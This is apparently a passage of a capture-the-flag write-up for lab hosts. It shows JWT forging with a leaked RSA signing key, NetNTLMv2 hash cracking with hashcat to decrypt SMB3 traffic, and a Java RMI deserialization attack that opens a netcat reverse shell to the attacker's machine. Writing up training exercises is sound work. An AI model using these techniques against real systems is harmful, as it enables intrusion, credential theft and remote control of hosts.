zGILAZ3tcr7Cs5eiCAHSfPLR+i7dCtrJyD/3qokoMfkIsk/Y7qdd0f4iyo6B7Ouo
kKgBAVAG7OCZ69E0Y9vmSJ6x85QDM573do0mFd2VE0Fqv+L+PBEHthh8TzuJ5Bm5
Q/Rc+GEYk6L2V2HUsOYUi5s3cdnW/sylCNkspWJuqcrA3a3+51OY0++NQ3lO678E
jaNzrXgtqMUlXKUkfOokEpmBMgJwHS9vAoIBAGbxazYSsr+dih1x8xpQE89S5Wq/
3HF71GK19YXq9SkWOPmK84z1w8eO20Hnfy33FnxKW0icvzFzZyhMwt7xi4HVevAR
gEM7trgMtWcZsk+9WlnCcyyb/db4kMjQpqWF0LMb8uS3RbO5F4cF7rSziSrYoMVl
```

```
Vw6ND2CTVdgiZ2Kj+oPULc8ANgmurLDanEBQ5MA6y5i8pLkBjMv8pm+wB2Y33A7M
7HsJNajLs2R/7rJmp7XFvWgZEMwhnxDL00QsAjJvT0PEZFMCUugUtX8FmvrVJX4e
1rpwG/8sTSyJ2iTpi2ZQHaRuXMM8VHhw/zaTzlwL49eWlIgYPCar0EVurpQ=
-----END RSA PRIVATE KEY-----
```

`jwtsigning.pub`

```
-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAzZ9oqXFgfAkwkHpaJebs4JB1fPRcMcg8zprGPzgh6HQuSEGNzW0o
f5Sf5HPg6vVPBlGGKjg4YeHH+PNo6I8Oa+s6mmA8Nj5l1bgp7WXgB8GTUQmA1yjG
HAvd2p5Bs0VBS/92EkGCRX0OUmKuM7eNI3FLmZ/A0lCXeFS/LSGw0CQ7yIImWIbp
XGqSKkOtKz9E+r2eckxEBPUmPs7uL41aJgFrukQjiPjEG4CjUWxv53o7oiodC+fb
PoS+mK0wRfLjIodl0V3dCm/P4IzB5a8qVozCIwzmLZW12ZjgFt3JrsP6oJxWqmZ8
2gmt+ps9Zaabg0+797hwfJWmpLtEhtl3gG21w37hVIU9BYSu/tSXEYMQ5G3i1afg
Su1rp8KsldnZTyYVyHXfGC5rZNRh7dnrYR/SzREH1x5mvTAYqgZk9c732cP5yS8q
RzMGyQCBWOvmXSX1WEpjy3zSXwh/QDH0jeuHH/TrcvOeFdqbAlVdjiM6pStc3uIc
1l+Ik4s0d4htUiMW9OQ5hW1qOAFZedQlnXLKBgNxI/0E08XXoGE3mVHcR1352QjO
kfOA8ICwCzNtIgQQKx+jDVWkMZrmUL+W6+/zFV8pTp9HrL/1gx+kLbyB2CfwLbRn
PychfePyOqD9kbLR2tyh5jTLminOV5+sLsbCrwHaNmLNY0rIzQxxzZcCAwEAAQ==
-----END RSA PUBLIC KEY-----
```

Login `/api/v1/user/login` as admin to get access token (use changed credentials).

```
{
  "access_token":
"eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk4ODYwMDI5LCJpYXQiOjE2OTgxNjg4MjksInN1YiI6IjEiLCJhZG
gEx4wk7-YlCSumS6ObkXt3ubBtcMj1cMS49gHmWeuUeVHyQVZDVVmQ8mOWpUVPM-Ax_a-
fdOcqJgT4HMIiiuCvfWmJjsTq9b1KumEae_iw2p8iSJy1wlcF3vy4ePu2NOEcmrffCn1OjXtVbofSpIb87egOhqDjwMEw4Qrr4YejcjUdbmoXB7sPLn0MexS7h1TJgEweehH
2LDjx6s3QXulvl39uJS2CjNLPfMC2AdKho-yplq1bc2tI3vUUNZOdGJScr8g4-
SmuNCwumTlZALhAFq9wCYg995cgaI4ojaPwUQWk2rWTnYbU6QEg5f1mg3cCpW0dpN6eURXeo_1uTWn29CPSnXID7Do7iiOLUXsfl-
8t09FMWdNj86oPuvSNxXmIK2pyBkSkwV1q3K5Jk472v94LlV7TIlHyLO4COQezXwOWzajsph8YHBP68vYDOJ8XIwW-
yupuhPcXZjXMSscxoBbos5H2NYewGCR74ELnLIcx21PQwz7XgZa4w-oYKJrUzIhO3EycdgyaeFF8WMzq3jp_Q",
  "token_type": "bearer"
}
```

Modify in python to include `"flag-read" = True` .

```
python3

import jwt
token =
"eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk4ODYwMDI5LCJpYXQiOjE2OTgxNjg4MjksInN1YiI6IjEiLCJhZG
gEx4wk7-YlCSumS6ObkXt3ubBtcMj1cMS49gHmWeuUeVHyQVZDVVmQ8mOWpUVPM-Ax_a-
fdOcqJgT4HMIiiuCvfWmJjsTq9b1KumEae_iw2p8iSJy1wlcF3vy4ePu2NOEcmrffCn1OjXtVbofSpIb87egOhqDjwMEw4Qrr4YejcjUdbmoXB7sPLn0MexS7h1TJgEweehH
2LDjx6s3QXulvl39uJS2CjNLPfMC2AdKho-yplq1bc2tI3vUUNZOdGJScr8g4-
SmuNCwumTlZALhAFq9wCYg995cgaI4ojaPwUQWk2rWTnYbU6QEg5f1mg3cCpW0dpN6eURXeo_1uTWn29CPSnXID7Do7iiOLUXsfl-
8t09FMWdNj86oPuvSNxXmIK2pyBkSkwV1q3K5Jk472v94LlV7TIlHyLO4COQezXwOWzajsph8YHBP68vYDOJ8XIwW-
yupuhPcXZjXMSscxoBbos5H2NYewGCR74ELnLIcx21PQwz7XgZa4w-oYKJrUzIhO3EycdgyaeFF8WMzq3jp_Q"
secret = "TW!BMP9yVRiDEziTsekVoHZJFcXQgZf8"

JWT_RSA_KEY = open('jwtsigning.key').read()
JWT_RSA_PUB = open('jwtsigning.pub').read()

decoded = jwt.decode(token, JWT_RSA_PUB, ["RS384"])

decoded["flag-read"] = True
jwt.encode(decoded, JWT_RSA_KEY, "RS384")

'eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk4ODYwMDI5LCJpYXQiOjE2OTgxNjg4MjksInN1YiI6IjEiLCJhZG
2IniC0oHuRLJWTrrQV5WpT1uBLSuWWKlTVNrkokEEqV1aRyDk6dENt8fHcMzSpgZbVwAN6zzbIavEdZbWECrjAv6dLOGP78mDZ0k6NVN9Pzdlk0K7_GsGjdYeOZzuFC46-
6Om6Hn4ja08Ht-tXXRjEwLHaskpj2Qit-YX_QLxIrlen3h2C4TxjDBuLCVt4PGTiyxospeItjLzeSrWOr9-
Dt_NueMCEAseMytMOK_KYKqvFCPWzlmZSvUnn1iAcVtRzj3bqHFHktbCTIQ5pKH57zyEhb22ISgA94a3qvN_EanCacL_JpxWP4xfr4yq8aZlCwV7J9sBKm3fSOKaZfETXtAZ
N3E1kVDdb3IWC1J8IJqy4KGqFGdgpNtIrslybCfAvmHDS7UCPhyzwMMJgNebKbmWrXv-LTXXwsshdtxVhQcOUz-
eMG07sV0ZNHQr5yKyd2Kq7Arp74hPw6Ittnu0YHY_Bi6MH6uR6mGBASre-
i6ykMruU5ag6pm0js3IeC0jRtE8bFRz7NbI_2vWczNAshpbUEQMs640A0H7zV0foErEx343kVjYNFaYm2WWVPiE4anUWvT_r8yPnUWO97GkCdTrTmwdS4-nc9VRitvGVo'
```

Use `curl` or edit token in browser addon and get the flag:

```
curl -X 'PUT' 'http://universal-ship-api.cns-jv.tcc/api/v1/admin/getFlag' -H 'accept: application/json' -H 'Authorization: Bearer
eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk4ODYwMDI5LCJpYXQiOjE2OTgxNjg4MjksInN1YiI6IjEiLCJhZG1
2IniC0oHuRLJWTrrQV5WpT1uBLSuWWKlTVNrkokEEqV1aRyDk6dENt8fHcMzSpgZbVwAN6zzbIavEdZbWECrjAv6dLOGP78mDZ0k6NVN9Pzdlk0K7_GsGjdYeOZzuFC46-
6Om6Hn4ja08Ht-tXXRjEwLHaskpj2Qit-YX_QLxIrlen3h2C4TxjDBuLCVt4PGTiyxospeItjLzeSrWOr9-
Dt_NueMCEAseMytMOK_KYKqvFCPWzlmZSvUnn1iAcVtRzj3bqHFHktbCTIQ5pKH57zyEhb22ISgA94a3qvN_EanCacL_JpxWP4xfr4yq8aZlCwV7J9sBKm3fSOKaZfETXtAZ
N3E1kVDdb3IWC1J8IJqy4KGqFGdgpNtIrslybCfAvmHDS7UCPhyzwMMJgNebKbmWrXv-LTXXwsshdtxVhQcOUz-
eMG07sV0ZNHQr5yKyd2Kq7Arp74hPw6Ittnu0YHY_Bi6MH6uR6mGBASre-
i6ykMruU5ag6pm0js3IeC0jRtE8bFRz7NbI_2vWczNAshpbUEQMs640A0H7zV0foErEx343kVjYNFaYm2WWVPiE4anUWvT_r8yPnUWO97GkCdTrTmwdS4-nc9VRitvGVo'
```

```
{"Flag":"FLAG{910P-iUeJ-Wwq1-i8L2}"}
```

> *FLAG{910P-iUeJ-Wwq1-i8L2}*

Suspicious traffic

We can get some useful informations from the traffic but nothing relevant to "FLAG". But there is a SMB3 encrypted traffic.

Use the available info to decrypt the SMB3.

```
GET /settings HTTP/1.1
Host: webserver:20000
Authorization: Basic YWRtaW46amFtZXMuZjByLkhUVFAuNDY0ODUwNw==
```

Base64 string `YWRtaW46amFtZXMuZjByLkhUVFAuNDY0ODUwNw==` is `admin:james.f0r.HTTP.4648507`.

```
220 (vsFTPd 3.0.3)
USER james
331 Please specify the password.
PASS james.f0r.FTP.3618995
230 Login successful.
```

From .bash_history in home.ttg transfered over ftp:

`openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.db -out secret.db.enc -k R3alyStr0ngP4ss!`

SMB info for cracking of NTLM:

```
NTLM Response: 8bc34ae8e76fe9b8417a966c2f632eb4010100000000000003ab4fc1550e2d901b352a976…
    Length: 264
    Maxlen: 264
    Offset: 112
    NTLMv2 Response: 8bc34ae8e76fe9b8417a966c2f632eb4010100000000000003ab4fc1550e2d901b352a976…
        NTProofStr: 8bc34ae8e76fe9b8417a966c2f632eb4
        Response Version: 1
        Hi Response Version: 1
        Z: 000000000000
        Time: Sep  8, 2023 12:29:17.828409000 UTC
        NTLMv2 Client Challenge: b352a9763bdec89a
        Z: 00000000
        Attribute: NetBIOS domain name: A67F2BA4E8F2
        Attribute: NetBIOS computer name: A67F2BA4E8F2
        Attribute: DNS domain name:
        Attribute: DNS computer name: a67f2ba4e8f2
        Attribute: Timestamp
        Attribute: Flags
        Attribute: Restrictions
        Attribute: Channel Bindings
        Attribute: Target Name: cifs/smbserver2
        Attribute: End of list
```

Whole NTLM response:

```
8bc34ae8e76fe9b8417a966c2f632eb4010100000000000003ab4fc1550e2d901b352a9763bdec89a000000000200180041003600370046003200420041003400450
```

```
Domain name: LOCAL.TCC
User name: james_admin
NTLM Server Challenge: 78c8f4fdf5927e58
```

```
Session Key: 4292dac3c7a0510f8b26c969e1ef0db9
    Length: 16
    Maxlen: 16
    Offset: 440
```

Hash for cracking:

```
JAMES_ADMIN::LOCAL.TCC:78c8f4fdf5927e58:8bc34ae8e76fe9b8417a966c2f632eb4:01010000000000003ab4fc1550e2d901b352a9763bdec89a000000000260
```

Prepare wordlist based on mask from previous james passwords:

```
mp -o james_admin.txt james_admin.f0r.SMB.?d?d?d?d?d?d?d
```

Crack the hash:

```
hashcat -a 1 -m 5600 --rule-left=c crackme.txt james_admin.txt
```

```
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: JAMES_ADMIN::LOCAL.TCC:78c8f4fdf5927e58:8bc34ae8e76...000000
Time.Started.....: Tue Oct  3 18:56:31 2023 (1 sec)
Time.Estimated...: Tue Oct  3 18:56:32 2023 (0 secs)
Kernel.Feature...: Pure Kernel
```

```
Guess.Base.......: File (james_admin.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 28909.6 kH/s (4.12ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9175040/10000000 (91.75%)
Rejected.........: 0/9175040 (0.00%)
Restore.Point....: 7864320/10000000 (78.64%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: james_admin.f0r.SMB.7864320 -> james_admin.f0r.SMB.9175039
Hardware.Mon.#1..: Temp: 42c Fan:  0% Util: 51% Core:2685MHz Mem:1000MHz Bus:16

Started: Tue Oct  3 18:56:14 2023
Stopped: Tue Oct  3 18:56:32 2023
```

Use python script to calculate decryption key for wireshark `https://gist.github.com/h4sh5/1cc22aa46037f253ca6c785d846b8cf3` .

```
python calc.hash.py --user james_admin --domain LOCAL.TCC --password james_admin.f0r.SMB.8089078 --ntproofstr
8bc34ae8e76fe9b8417a966c2f632eb4 --key 4292dac3c7a0510f8b26c969e1ef0db9 -v
```

```
USER+DOMAIN: JAMES_ADMINLOCAL.TCC
PASS HASH: 7cf87b641c657bf9e3f75d93308e6db3
RESP NT:   a154f31a5ecc711694c3e0d064bac78e
NT PROOF:  8bc34ae8e76fe9b8417a966c2f632eb4
KeyExKey:  6a1d3b41cdf3d40f15a6c15b80d567d0
Random SK: 7a93dee25de4c2141657e7037dddb8f1
```

Set in wireshark:

```
Session Id: 49b136b900000000
Session Key: 7a93dee25de4c2141657e7037dddb8f1
```

Export SMB object secret.db.enc with use of wireshakr export function.

Decrypt file:

```
openssl aes-256-cbc -d -salt -pbkdf2 -in secret.db.enc -out secret.db -k R3alyStr0ngP4ss!
```

Read content of the sqlite3 database.

```
sqlite3 secret.db
SQLite version 3.43.1 2023-09-11 12:01:27
Enter ".help" for usage hints.
sqlite> .tables
secrets
sqlite> SELECT * FROM secrets;
1|FLAG|FLAG{5B9B-lwPy-OfRS-4uEN}
sqlite>
```

> *FLAG{5B9B-lwPy-OfRS-4uEN}*

Miscellaneous

Naval chef's recipe

Use `curl` to get the website.

```
curl chef-menu.galley.cns-jv.tcc
```

```
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
  <title>301 Moved Permanently</title>
  <meta http-equiv="refresh" content="0;url=https://chef-menu.galley.cns-jv.tcc">
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://chef-menu.galley.cns-jv.tcc">here</a>.</p>
<p style="display: none">The secret ingredient is composed of C6H12O6, C6H8O6, dried mandrake, FLAG{ytZ6-Pewo-iZZP-Q9qz}, and
C20H25N3O. Shake, do not mix.</p>
<script>window.location.href='https://chef-menu.galley.cns-jv.tcc'</script>
</body></html>
```

> *FLAG{ytZ6-Pewo-iZZP-Q9qz}*

Arkanoid

Nmap the server for open ports:

```
sudo nmap -p- arkanoid.cns-jv.tcc
```

```
PORT      STATE SERVICE
8000/tcp  open  http-alt
35609/tcp open  unknown
60001/tcp open  unknown
60002/tcp open  unknown
```

Try to run command to open netcat connection (first start nc listener on your side) with use of opened java rmi ports and deserialization attack:

```
sudo java -jar ./target/beanshooter-4.1.0-jar-with-dependencies.jar serial --yso /opt/ysoserial-all.jar 10.99.102 60001
CommonsCollections6 "nc 10.200.0.23 64444 -e /bin/sh"
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+]     Creating ysoserial payload... done.
[-]     MBeanServer attempted to deserialize the DeserializationCanary class.
[-]     Deserialization attack was probably successful.
```

Netcat listener `ncat -vlp 64444`

```
Ncat: Connection from 10.99.0.102:59668.
ls
app
gradle-8.1.1
gradle-8.1.1-bin.zip
jdk-8u144-linux-x64.tar.gz
jdk1.8.0_144
web_backend
```

```
env
HOSTNAME=ea6d7cdff570
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
XFILESEARCHPATH=/usr/dt/app-defaults/%L/Dt
NLSPATH=/usr/dt/lib/nls/msg/%L/%N.cat
JAVA_HOME=/opt/jdk1.8.0_144
PWD=/opt
FLAG=FLAG{sEYj-80fd-EtkR-0fHv}
```

> *FLAG=FLAG{sEYj-80fd-EtkR-0fHv}*